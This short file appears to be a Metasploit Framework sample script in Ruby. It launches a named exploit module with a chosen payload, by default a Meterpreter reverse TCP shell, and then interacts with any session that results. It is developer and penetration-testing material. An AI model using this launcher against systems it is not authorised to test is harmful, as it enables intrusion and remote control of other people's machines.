#!/usr/bin/env ruby
#
# $Id$
#
# This sample demonstrates using the framework core directly to launch an
# exploit.  It makes use of the simplified exploit wrapper method provided by
# the Msf::Simple::Exploit mixin.
#
# $Revision$
#

$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))

require 'msf/base'

if (ARGV.length == 0)
	puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS"
	exit
end

framework    = Msf::Simple::Framework.create
exploit_name = ARGV.shift || 'test/multi/aggressive'
payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp'
input        = Rex::Ui::Text::Input::Stdio.new
output       = Rex::Ui::Text::Output::Stdio.new

begin
	# Initialize the exploit instance
	exploit = framework.exploits.create(exploit_name)

	# Fire it off.
	session = exploit.exploit_simple(
		'Payload'     => payload_name,
		'OptionStr'   => ARGV.join(' '),
		'LocalInput'  => input,
		'LocalOutput' => output)

	# If a session came back, try to interact with it.
	if (session)
		output.print_status("Session #{session.sid} created, interacting...")
		output.print_line

		session.init_ui(input, output)

		session.interact
	else
		output.print_line("Exploit completed, no session was created.")
	end

rescue
	output.print_error("Error: #{$!}\n\n#{$@.join("\n")}")
end
